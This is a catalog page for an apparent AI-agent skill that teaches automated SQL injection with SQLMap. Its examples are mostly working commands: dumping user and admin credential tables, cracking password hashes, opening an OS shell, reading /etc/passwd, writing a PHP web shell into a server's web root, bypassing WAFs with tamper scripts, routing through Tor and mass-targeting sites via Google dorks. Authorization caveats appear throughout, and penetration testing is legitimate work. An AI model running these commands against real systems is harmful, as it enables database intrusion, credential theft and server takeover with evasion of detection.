SQ

sqlmap-database-penetration-testing

Provides methodologies for automated SQL injection testing and database enumeration.

Install

mkdir -p .claude/skills/sqlmap-database-penetration-testing && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/774" && unzip -o skill.zip -d .claude/skills/sqlmap-database-penetration-testing && rm skill.zip

Installs to .claude/skills/sqlmap-database-penetration-testing

Activation

This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
370 chars✓ has a “when” triggerlonger than Claude Code's old 250-char listing cap (fine on current versions)
Advanced

Key capabilities

  • Map database schemas and table structures
  • Automate enumeration of columns and data types
  • Identify injectable URL parameters and injection types
  • Extract and dump sensitive database records

How it works

Sends crafted payloads to identify SQL injection vulnerabilities and systematically queries database system tables to dump information.

Inputs & outputs

You give it
Vulnerable URL or HTTP request file
You get back
Enumerated DB tables, columns, or dumped data

When to use sqlmap-database-penetration-testing

  • Automate SQL injection detection
  • Enumerate database tables and columns
  • Extract sensitive data for security testing
  • Identify vulnerable URL parameters

About this skill

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

StageCommand
List Databasessqlmap -u "URL" --dbs --batch
List Tablessqlmap -u "URL" -D dbname --tables --batch
List Columnssqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Datasqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump Allsqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

DBMSSupport Level
MySQLFull Support
PostgreSQLFull Support
Microsoft SQL ServerFull Support
OracleFull Support
Microsoft AccessFull Support
IBM DB2Full Support
SQLiteFull Support
FirebirdFull Support
SybaseFull Support
SAP MaxDBFull Support
HSQLDBFull Support
InformixFull Support

SQL Injection Techniques

TechniqueDescriptionFlag
Boolean-based blindInfers data from true/false responses--technique=B
Time-based blindUses time delays to infer data--technique=T
Error-basedExtracts data from error messages--technique=E
UNION query-basedUses UNION to append results--technique=U
Stacked queriesExecutes multiple statements--technique=S
Out-of-bandUses DNS or HTTP for exfiltration--technique=Q

Essential Options

OptionDescription
-uTarget URL
-rLoad HTTP request from file
-lParse targets from Burp/WebScarab log
-mBulk file with multiple targets
-gGoogle dork (use responsibly)
--dbsEnumerate databases
--tablesEnumerate tables
--columnsEnumerate columns
--dumpDump table data
--dump-allDump all database data
-DSpecify database
-TSpecify table
-CSpecify columns
--batchNon-interactive mode
--random-agentUse random User-Agent
--levelLevel of tests (1-5)
--riskRisk of tests (1-3)

Constraints and Limitations

Operational Boundaries

  • Requires valid injectable parameter in target URL
  • Network connectivity to target database server required
  • Large database dumps may take significant time
  • Some WAF/IPS systems may block SQLMap traffic
  • Time-based attacks significantly slower than error-based

Performance Considerations

  • Use --threads to speed up enumeration (default: 1)
  • Limit dumps with --start and --stop for large tables
  • Use --technique to specify faster injection method if known

Legal Requirements

  • Only test systems with explicit written authorization
  • Google dork attacks against unknown sites are illegal
  • Document all testing activities and findings
  • Respect scope limitations defined in engagement rules

Detection Risk

  • SQLMap generates significant log entries
  • Use --random-agent to vary User-Agent header
  • Consider --delay to avoid triggering rate limits
  • Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns

# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Example 2: POST Request Injection

# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
# 
# username=admin&password=test

# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch

Example 3: Bulk Target Scanning

# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt

# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch

Example 4: Aggressive Testing

# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ

Example 5: Extract Specific Credentials

# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch

# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords

Example 6: OS Shell Access (Advanced)

# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

Troubleshooting

Issue: "Parameter does not seem injectable"

Cause: SQLMap cannot find injection point Solution:

# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch

# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT

# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"

Issue: Target Behind WAF/Firewall

Cause: Web Application Firewall blocking requests Solution:

# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment

# List available tamper scripts
sqlmap --list-tampers

# Com

---

*Content truncated.*

When not to use it

  • Unauthorized or non-consensual security testing
  • Production database debugging

Prerequisites

SQLMap toolAuthoritative testing permission

Limitations

  • High risk of application downtime
  • Requires specific legal/ethical clearance

How it compares

Uses dedicated penetration testing automation for database exploitation rather than manual injection attempts.

Compared to similar skills

sqlmap-database-penetration-testing side by side with the closest alternatives in the catalog.

SkillInstallsUpdatedSafetyDifficulty
sqlmap-database-penetration-testing (this skill)46moReviewAdvanced
supabase-rls-policy-generator119moNo flagsAdvanced
database-design66moReviewIntermediate
vector-database-engineer84moNo flagsAdvanced

Try saying

Example prompts that trigger this skill in your AI assistant.

software-architecture

davila7

Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development.

333868

planning-with-files

davila7

Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls.

233106

telegram-bot-builder

davila7

Expert in building Telegram bots that solve real problems - from simple automation to complex AI-powered bots. Covers bot architecture, the Telegram Bot API, user experience, monetization strategies, and scaling bots to thousands of users. Use when: telegram bot, bot api, telegram automation, chat bot telegram, tg bot.

106130

scroll-experience

davila7

Expert in building immersive scroll-driven experiences - parallax storytelling, scroll animations, interactive narratives, and cinematic web experiences. Like NY Times interactives, Apple product pages, and award-winning web experiences. Makes websites feel like experiences, not just pages. Use when: scroll animation, parallax, scroll storytelling, interactive story, cinematic website.

101142

humanizer

davila7

Remove signs of AI-generated writing from text. Use when editing or reviewing text to make it sound more natural and human-written. Based on Wikipedia's comprehensive "Signs of AI writing" guide. Detects and fixes patterns including: inflated symbolism, promotional language, superficial -ing analyses, vague attributions, em dash overuse, rule of three, AI vocabulary words, negative parallelisms, and excessive conjunctive phrases. Credits: Original skill by @blader - https://github.com/blader/humanizer

90175

game-development

davila7

Game development orchestrator. Routes to platform-specific skills based on project needs.

70195

You might also like

supabase-rls-policy-generator

hopeoverture

This skill should be used when the user requests to generate, create, or add Row-Level Security (RLS) policies for Supabase databases in multi-tenant or role-based applications. It generates comprehensive RLS policies using auth.uid(), auth.jwt() claims, and role-based access patterns. Trigger terms include RLS, row level security, supabase security, generate policies, auth policies, multi-tenant security, role-based access, database security policies, supabase permissions, tenant isolation.

11109

database-design

davila7

Database design principles and decision-making. Schema design, indexing strategy, ORM selection, serverless databases.

648

vector-database-engineer

sickn33

Expert in vector databases, embedding strategies, and semantic search implementation. Masters Pinecone, Weaviate, Qdrant, Milvus, and pgvector for RAG applications, recommendation systems, and similar

846

generating-database-seed-data

jeremylongshore

Process this skill enables AI assistant to generate realistic test data and database seed scripts for development and testing environments. it uses faker libraries to create realistic data, maintains relational integrity, and allows configurable data volumes. u... Use when working with databases or data models. Trigger with phrases like 'database', 'query', or 'schema'.

1033

database-schema-designer

davila7

Design robust, scalable database schemas for SQL and NoSQL databases. Provides normalization guidelines, indexing strategies, migration patterns, constraint design, and performance optimization. Ensures data integrity, query performance, and maintainable data models.

628

data-safety-auditor

ananddtyagi

Comprehensive data safety auditor for Vue 3 + Pinia + IndexedDB + PouchDB applications. Detects data loss risks, sync issues, race conditions, and browser-specific vulnerabilities with actionable remediation guidance.

38

Search skills

Search the agent skills registry